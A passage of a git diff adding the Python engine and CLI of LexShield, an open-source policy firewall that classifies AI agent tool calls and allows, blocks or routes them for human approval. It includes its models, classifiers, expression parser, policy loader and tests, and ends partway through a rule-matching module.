+packs_app = typer.Typer(help="List and apply built-in policy packs.") +packs_app.command("list")(packs.list_packs) +packs_app.command("apply")(packs.apply_pack) +app.add_typer(packs_app, name="packs") + + +@app.command() +def version() -> None: + """Print CLI semver and git sha when available (SPEC §9.E).""" + import subprocess + + from rich.console import Console + + from lexshield_cli import __version__ + + console = Console() + sha = "" + try: + result = subprocess.run( + ["git", "rev-parse", "--short", "HEAD"], + check=True, + capture_output=True, + text=True, + ) + sha = result.stdout.strip() + except (FileNotFoundError, subprocess.CalledProcessError): + pass + + if sha: + console.print(f"lexshield {__version__} ({sha})") + else: + console.print(f"lexshield {__version__}") + + +if __name__ == "__main__": + app() diff --git a/packages/cli/tests/test_check.py b/packages/cli/tests/test_check.py new file mode 100644 index 0000000..2bef866 --- /dev/null +++ b/packages/cli/tests/test_check.py @@ -0,0 +1,34 @@ +"""Tests for lexshield check command.""" + +from __future__ import annotations + +from pathlib import Path + +from typer.testing import CliRunner + +from lexshield_cli.commands.init import LEXSHIELD_YAML, POLICY_TEMPLATES, RULES_YAML +from lexshield_cli.main import app + +runner = CliRunner() + + +def test_check_valid_init_scaffold(tmp_path: Path) -> None: + (tmp_path / "lexshield.yaml").write_text(LEXSHIELD_YAML, encoding="utf-8") + (tmp_path / "policy.yaml").write_text(POLICY_TEMPLATES["baseline-deny"], encoding="utf-8") + (tmp_path / "rules.yaml").write_text(RULES_YAML, encoding="utf-8") + + result = runner.invoke(app, ["check", "-c", str(tmp_path / "lexshield.yaml")]) + + assert result.exit_code == 0, result.stdout + assert "OK" in result.stdout + assert "policy rule" in result.stdout + + +def test_check_fails_when_rules_missing(tmp_path: Path) -> None: + (tmp_path / "lexshield.yaml").write_text(LEXSHIELD_YAML, encoding="utf-8") + (tmp_path / "policy.yaml").write_text(POLICY_TEMPLATES["baseline-deny"], encoding="utf-8") + + result = runner.invoke(app, ["check", "-c", str(tmp_path / "lexshield.yaml")]) + + assert result.exit_code == 1 + assert "Rules file not found" in result.stdout diff --git a/packages/engine-py/README.md b/packages/engine-py/README.md new file mode 100644 index 0000000..e723452 --- /dev/null +++ b/packages/engine-py/README.md @@ -0,0 +1 @@ +# LexShield Python engine (MIT) diff --git a/packages/engine-py/pyproject.toml b/packages/engine-py/pyproject.toml new file mode 100644 index 0000000..d1ef3f5 --- /dev/null +++ b/packages/engine-py/pyproject.toml @@ -0,0 +1,35 @@ +[build-system] +requires = ["setuptools>=68", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "lexshield" +version = "0.1.0" +description = "The open-source policy firewall for agent tool calls" +readme = "README.md" +license = { text = "MIT" } +requires-python = ">=3.10" +dependencies = [ + "pydantic>=2", + "pyyaml", + "httpx", + "fastapi", + "uvicorn", + "ulid-py", +] + +[project.optional-dependencies] +dev = [ + "pytest>=8", + "pytest-asyncio>=0.23", +] + +[tool.setuptools.packages.find] +where = ["src"] + +[tool.pytest.ini_options] +asyncio_mode = "auto" +testpaths = ["tests"] +markers = [ + "golden: golden fixture regression tests", +] diff --git a/packages/engine-py/src/lexshield/__init__.py b/packages/engine-py/src/lexshield/__init__.py new file mode 100644 index 0000000..031047f --- /dev/null +++ b/packages/engine-py/src/lexshield/__init__.py @@ -0,0 +1,19 @@ +"""LexShield — open-source policy firewall for agent tool calls.""" + +from lexshield.errors import ( + LexShieldBlockedError, + LexShieldChallengeError, + LexShieldConfigError, + LexShieldError, +) +from lexshield.shield import Shield +from lexshield.version import __version__ + +__all__ = [ + "Shield", + "LexShieldError", + "LexShieldBlockedError", + "LexShieldChallengeError", + "LexShieldConfigError", + "__version__", +] diff --git a/packages/engine-py/src/lexshield/challenges/__init__.py b/packages/engine-py/src/lexshield/challenges/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/packages/engine-py/src/lexshield/challenges/store.py b/packages/engine-py/src/lexshield/challenges/store.py new file mode 100644 index 0000000..e705a17 --- /dev/null +++ b/packages/engine-py/src/lexshield/challenges/store.py @@ -0,0 +1,69 @@ +"""Local challenge store under .lexshield/challenges (stub).""" + +from __future__ import annotations + +import json +from datetime import datetime, timezone +from pathlib import Path +from typing import Any +from uuid import uuid4 + +from lexshield.models import VerdictType + + +class ChallengeStore: + """File-based local challenge queue.""" + + def __init__(self, base_path: str | Path = ".lexshield/challenges") -> None: + self.base_path = Path(base_path) + self.base_path.mkdir(parents=True, exist_ok=True) + + def create( + self, + *, + request_id: str, + reason: str, + timeout_seconds: int = 3600, + on_timeout: VerdictType = VerdictType.BLOCK, + ) -> str: + """Create an open challenge and return its id.""" + challenge_id = str(uuid4()) + record: dict[str, Any] = { + "id": challenge_id, + "requestId": request_id, + "reason": reason, + "status": "open", + "timeoutSeconds": timeout_seconds, + "onTimeout": on_timeout.value, + "createdAt": datetime.now(timezone.utc).isoformat(), + } + path = self.base_path / f"{challenge_id}.json" + path.write_text(json.dumps(record, indent=2), encoding="utf-8") + return challenge_id + + def list_open(self) -> list[dict[str, Any]]: + """List open challenges.""" + open_challenges: list[dict[str, Any]] = [] + for path in sorted(self.base_path.glob("*.json")): + record = json.loads(path.read_text(encoding="utf-8")) + if record.get("status") == "open": + open_challenges.append(record) + return open_challenges + + def resolve( + self, + challenge_id: str, + *, + decision: str, + actor: str, + ) -> dict[str, Any] | None: + """Resolve a challenge as approve or deny.""" + path = self.base_path / f"{challenge_id}.json" + if not path.exists(): + return None + record = json.loads(path.read_text(encoding="utf-8")) + record["status"] = "approved" if decision == "approve" else "denied" + record["resolvedAt"] = datetime.now(timezone.utc).isoformat() + record["actor"] = actor + path.write_text(json.dumps(record, indent=2), encoding="utf-8") + return record diff --git a/packages/engine-py/src/lexshield/classifiers/__init__.py b/packages/engine-py/src/lexshield/classifiers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/packages/engine-py/src/lexshield/classifiers/deterministic.py b/packages/engine-py/src/lexshield/classifiers/deterministic.py new file mode 100644 index 0000000..cb0371d --- /dev/null +++ b/packages/engine-py/src/lexshield/classifiers/deterministic.py @@ -0,0 +1,63 @@ +"""Deterministic classifier reading rules.yaml shape (stub).""" + +from __future__ import annotations + +import re +from pathlib import Path +from typing import Any + +import yaml + +from lexshield.models import Classification, IntentAlternative, ToolCallRequest + + +class DeterministicClassifier: + """Pattern and tool-map based classifier.""" + + def __init__(self, rules_path: str | Path | None = None) -> None: + self.rules_path = Path(rules_path) if rules_path else None + self.tool_map: dict[str, str] = {} + self.patterns: list[dict[str, Any]] = [] + if self.rules_path and self.rules_path.exists(): + self._load_rules(self.rules_path) + + def _load_rules(self, path: Path) -> None: + with path.open(encoding="utf-8") as handle: + data = yaml.safe_load(handle) or {} + self.tool_map = data.get("tool_map", {}) + self.patterns = data.get("patterns", []) + + def classify(self, request: ToolCallRequest) -> Classification | None: + """Classify a tool call using deterministic rules.""" + args_blob = " ".join(str(v) for v in request.arguments.values()) + + for pattern in self.patterns: + match_spec = pattern.get("match", {}) + regex = match_spec.get("any_arg_regex") + if regex and re.search(regex, args_blob): + return Classification( + intent=pattern["intent"], + confidence=float(pattern.get("confidence", 0.9)), + alternatives=[], + classifier="deterministic:v1", + ) + for key, value in request.arguments.items(): + arg_regex = match_spec.get(f"arg_regex:{key}") + if arg_regex and re.search(arg_regex, str(value)): + return Classification( + intent=pattern["intent"], + confidence=float(pattern.get("confidence", 0.9)), + alternatives=[], + classifier="deterministic:v1", + ) + + tool_name = request.tool.name + if tool_name in self.tool_map: + return Classification( + intent=self.tool_map[tool_name], + confidence=0.7, + alternatives=[], + classifier="deterministic:v1", + ) + + return None diff --git a/packages/engine-py/src/lexshield/classifiers/llm.py b/packages/engine-py/src/lexshield/classifiers/llm.py new file mode 100644 index 0000000..d904c38 --- /dev/null +++ b/packages/engine-py/src/lexshield/classifiers/llm.py @@ -0,0 +1,62 @@ +"""LLM classifier stub (optional API key).""" + +from __future__ import annotations + +import os +from typing import Any + +import httpx + +from lexshield.models import Classification, IntentAlternative, ToolCallRequest +from lexshield.redaction import redact_arguments + + +class LLMClassifier: + """OpenAI-compatible LLM classifier (stub).""" + + def __init__( + self, + *, + model: str = "gpt-4o-mini", + api_key_env: str = "OPENAI_API_KEY", + base_url_env: str = "OPENAI_BASE_URL", + timeout_ms: int = 2000, + optional: bool = True, + ) -> None: + self.model = model + self.api_key_env = api_key_env + self.base_url_env = base_url_env + self.timeout_ms = timeout_ms + self.optional = optional + + @property + def api_key(self) -> str | None: + return os.environ.get(self.api_key_env) + + @property + def base_url(self) -> str: + return os.environ.get(self.base_url_env, "https://api.openai.com/v1") + + def is_available(self) -> bool: + """Return True when the classifier can run.""" + return bool(self.api_key) + + async def classify(self, request: ToolCallRequest) -> Classification | None: + """Classify via LLM (stub: returns None when unavailable).""" + if not self.is_available(): + if self.optional: + return None + raise RuntimeError(f"Missing API key env var: {self.api_key_env}") + + redacted_args, _ = redact_arguments(request.arguments, redact_emails="redact") + _ = redacted_args + + # Stub: no live LLM call in scaffold + async with httpx.AsyncClient(timeout=self.timeout_ms / 1000) as _client: + return Classification( + intent="unknown.unclassified", + confidence=0.5, + alternatives=[IntentAlternative(intent="unknown.unclassified", confidence=0.5)], + classifier=f"llm:openai:{self.model}", + reasoning="LLM classifier stub", + ) diff --git a/packages/engine-py/src/lexshield/classifiers/pipeline.py b/packages/engine-py/src/lexshield/classifiers/pipeline.py new file mode 100644 index 0000000..11c0d94 --- /dev/null +++ b/packages/engine-py/src/lexshield/classifiers/pipeline.py @@ -0,0 +1,53 @@ +"""Classifier pipeline: deterministic then LLM.""" + +from __future__ import annotations + +from pathlib import Path + +from lexshield.classifiers.deterministic import DeterministicClassifier +from lexshield.classifiers.llm import LLMClassifier +from lexshield.models import Classification, ToolCallRequest + +DETERMINISTIC_SKIP_LLM_THRESHOLD = 0.90 +UNKNOWN_INTENT = "unknown.unclassified" + + +class ClassifierPipeline: + """Runs deterministic classifier first, then LLM if needed.""" + + def __init__( + self, + *, + rules_path: str | Path | None = None, + llm: LLMClassifier | None = None, + ) -> None: + self.deterministic = DeterministicClassifier(rules_path) + self.llm = llm or LLMClassifier() + + async def classify(self, request: ToolCallRequest) -> list[Classification]: + """Return ordered classifications from the pipeline.""" + results: list[Classification] = [] + + det = self.deterministic.classify(request) + if det is not None: + results.append(det) + if det.confidence >= DETERMINISTIC_SKIP_LLM_THRESHOLD: + return results + + if self.llm.is_available(): + llm_result = await self.llm.classify(request) + if llm_result is not None: + results.append(llm_result) + + if not results: + results.append( + Classification( + intent=UNKNOWN_INTENT, + confidence=0.5, + alternatives=[], + classifier="deterministic:v1", + reasoning="No deterministic or LLM classification", + ) + ) + + return results diff --git a/packages/engine-py/src/lexshield/errors.py b/packages/engine-py/src/lexshield/errors.py new file mode 100644 index 0000000..5fd1bae --- /dev/null +++ b/packages/engine-py/src/lexshield/errors.py @@ -0,0 +1,33 @@ +"""LexShield SDK and API errors.""" + +from __future__ import annotations + +from lexshield.models import Verdict + + +class LexShieldError(Exception): + """Base LexShield error.""" + + def __init__( + self, + message: str, + *, + verdict: Verdict | None = None, + request_id: str | None = None, + ) -> None: + super().__init__(message) + self.message = message + self.verdict = verdict + self.request_id = request_id or (verdict.request_id if verdict else None) + + +class LexShieldBlockedError(LexShieldError): + """Raised when a tool call is blocked by policy.""" + + +class LexShieldChallengeError(LexShieldError): + """Raised when a tool call requires human approval.""" + + +class LexShieldConfigError(LexShieldError): + """Raised when configuration or policy is invalid.""" diff --git a/packages/engine-py/src/lexshield/models.py b/packages/engine-py/src/lexshield/models.py new file mode 100644 index 0000000..af48540 --- /dev/null +++ b/packages/engine-py/src/lexshield/models.py @@ -0,0 +1,217 @@ +"""Pydantic v2 models matching SPEC §19 data model.""" + +from __future__ import annotations + +from datetime import datetime +from enum import Enum +from typing import Any + +from pydantic import BaseModel, Field + + +class VerdictType(str, Enum): + ALLOW = "ALLOW" + BLOCK = "BLOCK" + CHALLENGE = "CHALLENGE" + DEFER = "DEFER" + + +class CallerType(str, Enum): + USER = "user" + AGENT = "agent" + SERVICE_ACCOUNT = "service_account" + + +class OutcomeType(str, Enum): + EXECUTED = "EXECUTED" + BLOCKED = "BLOCKED" + CHALLENGED = "CHALLENGED" + DEFERRED = "DEFERRED" + ERROR = "ERROR" + APPROVED_EXECUTED = "APPROVED_EXECUTED" + DENIED = "DENIED" + + +class ChallengeChannel(str, Enum): + STDOUT = "stdout" + WEBHOOK = "webhook" + SLACK = "slack" + DASHBOARD = "dashboard" + + +class SinkType(str, Enum): + STDOUT = "stdout" + FILE = "file" + HTTP = "http" + OTLP = "otlp" + + +class RuleMatch(BaseModel): + intents: list[str] | None = None + tools: list[str] | None = None + callers: list[str] | None = None + roles: list[str] | None = None + environments: list[str] | None = None + tags: dict[str, list[str]] | None = None + min_confidence: float | None = Field(default=None, alias="minConfidence") + expression: str | None = None + + model_config = {"populate_by_name": True} + + +class ChallengeConfig(BaseModel): + channel: ChallengeChannel + timeout_seconds: int = Field(alias="timeoutSeconds") + on_timeout: VerdictType = Field(alias="onTimeout") + reviewers: list[str] | None = None + + model_config = {"populate_by_name": True} + + +class PolicyRule(BaseModel): + id: str + name: str + priority: int + enabled: bool = True + match: RuleMatch + verdict: VerdictType + reason: str + challenge: ChallengeConfig | None = None + + +class Policy(BaseModel): + id: str + name: str + version: str + description: str | None = None + default_verdict: VerdictType = Field(alias="defaultVerdict") + rules: list[PolicyRule] + taxonomy_ref: str | None = Field(default=None, alias="taxonomyRef") + severity_threshold: dict[str, Any] | None = Field( + default=None, alias="severity_threshold" + ) + + model_config = {"populate_by_name": True} + + +class Caller(BaseModel): + id: str + type: CallerType + roles: list[str] | None = None + metadata: dict[str, Any] | None = None + + +class ToolRef(BaseModel): + name: str + namespace: str | None = None + version: str | None = None + + +class Message(BaseModel): + role: str + content: str + + +class PriorCall(BaseModel): + timestamp: str + tool: ToolRef + intent: str + verdict: VerdictType + + +class CallContext(BaseModel): + conversation_id: str | None = Field(default=None, alias="conversationId") + messages: list[Message] | None = None + prior_calls: list[PriorCall] | None = Field(default=None, alias="priorCalls") + environment: str | None = None + tags: dict[str, str] | None = None + + model_config = {"populate_by_name": True} + + +class ToolCallRequest(BaseModel): + id: str | None = None + shield_id: str = Field(alias="shieldId") + timestamp: str | None = None + caller: Caller + tool: ToolRef + arguments: dict[str, Any] = Field(default_factory=dict) + context: CallContext = Field(default_factory=CallContext) + + model_config = {"populate_by_name": True} + + +class IntentAlternative(BaseModel): + intent: str + confidence: float + + +class Classification(BaseModel): + intent: str + confidence: float + alternatives: list[IntentAlternative] = Field(default_factory=list) + classifier: str + reasoning: str | None = None + signals_used: list[str] | None = Field(default=None, alias="signalsUsed") + + model_config = {"populate_by_name": True} + + +class Verdict(BaseModel): + request_id: str = Field(alias="requestId") + decision: VerdictType + matched_rule_id: str | None = Field(default=None, alias="matchedRuleId") + reason: str + classifications: list[Classification] = Field(default_factory=list) + duration_ms: float = Field(alias="durationMs") + challenge_id: str | None = Field(default=None, alias="challengeId") + policy_version: str | None = Field(default=None, alias="policyVersion") + + model_config = {"populate_by_name": True} + + +class Trace(BaseModel): + id: str + request: ToolCallRequest + verdict: Verdict + outcome: OutcomeType | None = None + outcome_at: str | None = Field(default=None, alias="outcomeAt") + redactions: list[str] | None = None + metadata: dict[str, Any] | None = None + + model_config = {"populate_by_name": True} + + +class PolicyRef(BaseModel): + policy_id: str = Field(alias="policyId") + version: str | None = None + + model_config = {"populate_by_name": True} + + +class SinkConfig(BaseModel): + type: SinkType + options: dict[str, Any] = Field(default_factory=dict) + + +class UpstreamConfig(BaseModel): + url: str + headers: dict[str, str] | None = None + timeout_ms: int | None = Field(default=None, alias="timeoutMs") + + model_config = {"populate_by_name": True} + + +class ShieldConfig(BaseModel): + id: str + name: str + policy_ref: PolicyRef = Field(alias="policyRef") + classifier_ids: list[str] = Field(alias="classifierIds") + sinks: list[SinkConfig] = Field(default_factory=list) + tool_upstreams: dict[str, UpstreamConfig] | None = Field( + default=None, alias="toolUpstreams" + ) + created_at: datetime = Field(alias="createdAt") + updated_at: datetime = Field(alias="updatedAt") + + model_config = {"populate_by_name": True} diff --git a/packages/engine-py/src/lexshield/policy/__init__.py b/packages/engine-py/src/lexshield/policy/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/packages/engine-py/src/lexshield/policy/engine.py b/packages/engine-py/src/lexshield/policy/engine.py new file mode 100644 index 0000000..04eca31 --- /dev/null +++ b/packages/engine-py/src/lexshield/policy/engine.py @@ -0,0 +1,84 @@ +"""Policy evaluation engine.""" + +from __future__ import annotations + +import time + +from lexshield.models import Classification, Policy, ToolCallRequest, Verdict, VerdictType +from lexshield.policy.loader import CompiledPolicy +from lexshield.policy.match import rule_matches, sort_rules + +UNKNOWN_INTENT = "unknown.unclassified" + + +class PolicyEngine: + """Evaluates policy rules against classified tool call requests.""" + + def __init__(self, policy: CompiledPolicy | Policy) -> None: + if isinstance(policy, Policy): + self._compiled = CompiledPolicy.from_policy(policy) + else: + self._compiled = policy + self._sorted_rules = sort_rules(self._compiled.rules) + + @property + def policy(self) -> Policy: + return self._compiled.policy + + def evaluate( + self, + request: ToolCallRequest, + classifications: list[Classification], + ) -> Verdict: + """Evaluate policy for a request and return the winning verdict.""" + start = time.perf_counter() + request_id = request.id or "unknown" + + primary = classifications[0] if classifications else None + + matched_rule = next( + ( + compiled + for compiled in self._sorted_rules + if rule_matches(compiled, request, classifications) + ), + None, + ) + + duration_ms = (time.perf_counter() - start) * 1000 + + if matched_rule is not None: + rule = matched_rule.rule + challenge_id = None + if rule.verdict == VerdictType.CHALLENGE: + challenge_id = f"challenge-{request_id}" + return Verdict( + requestId=request_id, + decision=rule.verdict, + matchedRuleId=rule.id, + reason=rule.reason, + classifications=classifications, + durationMs=duration_ms, + challengeId=challenge_id, + policyVersion=self.policy.version, + ) + + if primary is None or primary.intent == UNKNOWN_INTENT: + return Verdict( + requestId=request_id, + decision=VerdictType.BLOCK, + reason="No matching policy rule; default deny for unclassified intent", + classifications=classifications, + durationMs=duration_ms, + policyVersion=self.policy.version, + ) + + default = self.policy.default_verdict + return Verdict( + requestId=request_id, + decision=default, + reason=f"No matching rule; applied default verdict {default.value}", + classifications=classifications, + durationMs=duration_ms, + policyVersion=self.policy.version, + ) diff --git a/packages/engine-py/src/lexshield/policy/expressions.py b/packages/engine-py/src/lexshield/policy/expressions.py new file mode 100644 index 0000000..1a819c5 --- /dev/null +++ b/packages/engine-py/src/lexshield/policy/expressions.py @@ -0,0 +1,290 @@ +"""Safe expression parser for policy rule match expressions.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Any + + +class ExpressionError(ValueError): + """Raised when an expression cannot be parsed or evaluated.""" + + +@dataclass(frozen=True) +class _Token: + kind: str + value: str | None = None + + +_TOKEN_RE = re.compile( + r'\s*(?P' + r'"(?:[^"\\]|\\.)*"|' + r"'(?:[^'\\]|\\.)*'|" + r"!=|==|>=|<=|&&|\|\||[()\[\]!,><=]|" + r"[a-zA-Z_][a-zA-Z0-9_.]*|" + r"[0-9]+(?:\.[0-9]+)?" + r")", + re.DOTALL, +) + + +_KEYWORDS = {"startsWith", "contains", "matches", "in"} + + +def _tokenize(source: str) -> list[_Token]: + pos = 0 + tokens: list[_Token] = [] + while pos < len(source): + match = _TOKEN_RE.match(source, pos) + if not match: + raise ExpressionError( + f"Unexpected token at position {pos}: {source[pos:pos + 20]!r}" + ) + raw = match.group("TOKEN") + pos = match.end() + if raw in {"(", ")", "[", "]", "!", "&&", "||", "==", "!=", ">", ">=", "<", "<=", ","}: + tokens.append(_Token(raw)) + elif raw[0] in {'"', "'"}: + tokens.append(_Token("STRING", raw[1:-1])) + elif re.fullmatch(r"[0-9]+(?:\.[0-9]+)?", raw): + tokens.append(_Token("NUMBER", raw)) + elif raw in _KEYWORDS: + tokens.append(_Token("OP", raw)) + else: + tokens.append(_Token("IDENT", raw)) + return tokens + + +class _Parser: + def __init__(self, tokens: list[_Token]) -> None: + self.tokens = tokens + self.pos = 0 + + def _peek(self) -> _Token | None: + return self.tokens[self.pos] if self.pos < len(self.tokens) else None + + def _consume(self, kind: str | None = None, value: str | None = None) -> _Token: + token = self._peek() + if token is None: + raise ExpressionError("Unexpected end of expression") + if kind and token.kind != kind: + raise ExpressionError(f"Expected {kind}, got {token.kind}") + if value and token.value != value and token.kind != value: + raise ExpressionError(f"Expected {value}, got {token}") + self.pos += 1 + return token + + def parse(self) -> "_AstNode": + node = self._parse_or() + if self._peek() is not None: + raise ExpressionError("Unexpected trailing tokens in expression") + return node + + def _parse_or(self) -> "_AstNode": + node = self._parse_and() + while self._peek() and self._peek().kind == "||": + self._consume("||") + node = _BinaryOp("||", node, self._parse_and()) + return node + + def _parse_and(self) -> "_AstNode": + node = self._parse_unary() + while self._peek() and self._peek().kind == "&&": + self._consume("&&") + node = _BinaryOp("&&", node, self._parse_unary()) + return node + + def _parse_unary(self) -> "_AstNode": + if self._peek() and self._peek().kind == "!": + self._consume("!") + return _UnaryOp("!", self._parse_unary()) + return self._parse_comparison() + + def _parse_comparison(self) -> "_AstNode": + node = self._parse_postfix() + token = self._peek() + if token and token.kind in {"==", "!=", ">", ">=", "<", "<="}: + self._consume(token.kind) + return _BinaryOp(token.kind, node, self._parse_postfix()) + return node + + def _parse_postfix(self) -> "_AstNode": + node = self._parse_primary() + while self._peek() and self._peek().kind == "OP": + op = self._consume("OP").value + if op not in {"startsWith", "contains", "matches", "in"}: + raise ExpressionError(f"Unsupported operator {op}") + node = _BinaryOp(op, node, self._parse_primary()) + return node + + def _parse_primary(self) -> "_AstNode": + token = self._peek() + if token is None: + raise ExpressionError("Unexpected end of expression") + if token.kind == "STRING": + self._consume("STRING") + return _Literal(token.value) + if token.kind == "NUMBER": + self._consume("NUMBER") + return _Literal(float(token.value) if "." in token.value else int(token.value)) + if token.kind == "[": + return self._parse_list() + if token.kind == "IDENT": + self._consume("IDENT") + path = [token.value or ""] + while self._peek() and self._peek().kind == "IDENT" and "." in (self._peek().value or ""): + break + while self._peek() and self._peek().kind == ".": + self._consume(".") + next_token = self._consume("IDENT") + path.append(next_token.value or "") + if len(path) == 1 and "." in path[0]: + path = path[0].split(".") + return _Path(path) + if token.kind == "(": + self._consume("(") + node = self._parse_or() + self._consume(")") + return node + raise ExpressionError(f"Unexpected token {token}") + + def _parse_list(self) -> "_AstNode": + self._consume("[") + values: list[Any] = [] + if self._peek() and self._peek().kind != "]": + values.append(self._parse_primary().evaluate({})) + while self._peek() and self._peek().kind == ",": + self._consume(",") + values.append(self._parse_primary().evaluate({})) + self._consume("]") + return _Literal(values) + + +class _AstNode: + def evaluate(self, bindings: dict[str, Any]) -> Any: + raise NotImplementedError + + +class _Literal(_AstNode): + def __init__(self, value: Any) -> None: + self.value = value + + def evaluate(self, bindings: dict[str, Any]) -> Any: + _ = bindings + return self.value + + +class _Path(_AstNode): + def __init__(self, parts: list[str]) -> None: + self.parts = parts + self.dotted = ".".join(parts) + + def evaluate(self, bindings: dict[str, Any]) -> Any: + if self.dotted in bindings: + return bindings[self.dotted] + current: Any = bindings + for part in self.parts: + if isinstance(current, dict): + current = current.get(part) + else: + return "" + if current is None: + return "" + return current + + +class _UnaryOp(_AstNode): + def __init__(self, op: str, operand: _AstNode) -> None: + self.op = op + self.operand = operand + + def evaluate(self, bindings: dict[str, Any]) -> bool: + value = self.operand.evaluate(bindings) + if self.op == "!": + return not bool(value) + raise ExpressionError(f"Unsupported unary operator {self.op}") + + +class _BinaryOp(_AstNode): + def __init__(self, op: str, left: _AstNode, right: _AstNode) -> None: + self.op = op + self.left = left + self.right = right + + def evaluate(self, bindings: dict[str, Any]) -> Any: + if self.op == "&&": + return bool(self.left.evaluate(bindings)) and bool(self.right.evaluate(bindings)) + if self.op == "||": + return bool(self.left.evaluate(bindings)) or bool(self.right.evaluate(bindings)) + if self.op == "startsWith": + left = self.left.evaluate(bindings) + right = self.right.evaluate(bindings) + return str(left or "").startswith(str(right or "")) + if self.op == "contains": + left = self.left.evaluate(bindings) + right = self.right.evaluate(bindings) + return str(right or "") in str(left or "") + if self.op == "matches": + left = self.left.evaluate(bindings) + right = self.right.evaluate(bindings) + return re.search(str(right or ""), str(left or "")) is not None + if self.op == "in": + left = self.left.evaluate(bindings) + right = self.right.evaluate(bindings) + if isinstance(right, (list, tuple, set)): + return left in right + return False + + left = self.left.evaluate(bindings) + right = self.right.evaluate(bindings) + if self.op == "==": + return _compare_equal(left, right) + if self.op == "!=": + return not _compare_equal(left, right) + if self.op == ">": + return left > right + if self.op == ">=": + return left >= right + if self.op == "<": + return left < right + if self.op == "<=": + return left <= right + raise ExpressionError(f"Unsupported binary operator {self.op}") + + +def _compare_equal(left: Any, right: Any) -> bool: + if isinstance(left, (int, float)) and isinstance(right, (int, float)): + return left == right + if isinstance(left, (int, float)) and isinstance(right, str): + try: + return left == float(right) + except ValueError: + return str(left) == right + if isinstance(right, (int, float)) and isinstance(left, str): + try: + return float(left) == right + except ValueError: + return left == str(right) + return left == right + + +class Expression: + """Compiled policy expression.""" + + def __init__(self, source: str, ast: _AstNode) -> None: + self.source = source + self._ast = ast + + @classmethod + def parse(cls, source: str) -> Expression: + """Parse an expression string into a compiled form.""" + if not source or not source.strip(): + raise ExpressionError("Expression must not be empty") + tokens = _tokenize(source.strip()) + ast = _Parser(tokens).parse() + return cls(source.strip(), ast) + + def evaluate(self, bindings: dict[str, Any]) -> bool: + """Evaluate expression against bound variables.""" + return bool(self._ast.evaluate(bindings)) diff --git a/packages/engine-py/src/lexshield/policy/loader.py b/packages/engine-py/src/lexshield/policy/loader.py new file mode 100644 index 0000000..31f32cc --- /dev/null +++ b/packages/engine-py/src/lexshield/policy/loader.py @@ -0,0 +1,159 @@ +"""YAML policy loader.""" + +from __future__ import annotations + +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +import yaml + +from lexshield.errors import LexShieldConfigError +from lexshield.models import Policy, PolicyRule +from lexshield.policy.expressions import Expression, ExpressionError + + +@dataclass +class CompiledRule: + """Policy rule with a pre-compiled match expression.""" + + rule: PolicyRule + expression: Expression | None = None + + +@dataclass +class CompiledPolicy: + """Policy with compiled rule expressions.""" + + policy: Policy + rules: list[CompiledRule] + + @classmethod + def from_policy(cls, policy: Policy) -> CompiledPolicy: + """Compile expressions for an already-parsed policy.""" + compiled_rules: list[CompiledRule] = [] + for rule in policy.rules: + expression: Expression | None = None + if rule.match.expression: + try: + expression = Expression.parse(rule.match.expression) + except ExpressionError as exc: + raise LexShieldConfigError( + f"Invalid expression in rule {rule.id!r}: {exc}" + ) from exc + compiled_rules.append(CompiledRule(rule=rule, expression=expression)) + return cls(policy=policy, rules=compiled_rules) + + +def _normalize_policy_data(data: dict[str, Any]) -> dict[str, Any]: + """Coerce YAML quirks (numeric version, missing rule names) before validation.""" + normalized = dict(data) + if "version" in normalized and not isinstance(normalized["version"], str): + normalized["version"] = str(normalized["version"]) + + rules = normalized.get("rules", []) + if isinstance(rules, list): + normalized_rules: list[Any] = [] + for rule in rules: + if isinstance(rule, dict) and "name" not in rule: + normalized_rules.append({**rule, "name": rule.get("id", "rule")}) + else: + normalized_rules.append(rule) + normalized["rules"] = normalized_rules + + return normalized + + +def _validate_policy_structure(data: dict[str, Any]) -> None: + """Validate minimal policy structure before Pydantic parse.""" + required = ("version", "id", "name", "defaultVerdict", "rules") + missing = [field for field in required if field not in data] + if missing: + raise LexShieldConfigError( + f"Policy missing required fields: {', '.join(missing)}" + ) + if not isinstance(data.get("rules"), list): + raise LexShieldConfigError("Policy 'rules' must be a list") + + +def load_policy(path: str | Path, *, strict: bool = False) -> CompiledPolicy: + """Load, validate, and compile a YAML policy file. + + Args: + path: Path to policy.yaml. + strict: When True, reject unknown top-level fields. + + Returns: + Compiled policy with parsed expressions on rules. + """ + policy_path = Path(path) + if not policy_path.exists(): + raise LexShieldConfigError(f"Policy file not found: {policy_path}") + + with policy_path.open(encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + + if not isinstance(raw, dict): + raise LexShieldConfigError("Policy root must be a mapping") + + if "version" in raw and not isinstance(raw["version"], str): + raw = {**raw, "version": str(raw["version"])} + + raw = _normalize_policy_data(raw) + + if strict: + allowed = { + "version", + "id", + "name", + "description", + "defaultVerdict", + "rules", + "taxonomyRef", + "severity_threshold", + } + unknown = set(raw.keys()) - allowed + if unknown: + raise LexShieldConfigError( + f"Unknown policy fields in strict mode: {', '.join(sorted(unknown))}" + ) + + _validate_policy_structure(raw) + + try: + policy = Policy.model_validate(raw) + except Exception as exc: + raise LexShieldConfigError(f"Invalid policy: {exc}") from exc + + return CompiledPolicy.from_policy(policy) + + +def load_policy_data(data: dict[str, Any], *, strict: bool = False) -> CompiledPolicy: + """Load and validate a policy mapping.""" + normalized = _normalize_policy_data(data) + + if strict: + allowed = { + "version", + "id", + "name", + "description", + "defaultVerdict", + "rules", + "taxonomyRef", + "severity_threshold", + } + unknown = set(normalized.keys()) - allowed + if unknown: + raise LexShieldConfigError( + f"Unknown policy fields in strict mode: {', '.join(sorted(unknown))}" + ) + + _validate_policy_structure(normalized) + + try: + policy = Policy.model_validate(normalized) + except Exception as exc: + raise LexShieldConfigError(f"Invalid policy: {exc}") from exc + + return CompiledPolicy.from_policy(policy) diff --git a/packages/engine-py/src/lexshield/policy/match.py b/packages/engine-py/src/lexshield/policy/match.py new file mode 100644 index 0000000..4aebbe6 --- /dev/null +++ b/packages/engine-py/src/lexshield/policy/match.py @@ -0,0 +1,136 @@ +"""Rule matching for policy evaluation.""" + +from __future__ import annotations + +import fnmatch + +from lexshield.models import Classification, ToolCallRequest +from lexshield.policy.loader import CompiledRule + + +def _matching_intents(classifications: list[Classification]) -> set[str]: + intents: set[str] = set() + if not classifications: + return intents + primary = classifications[0] + 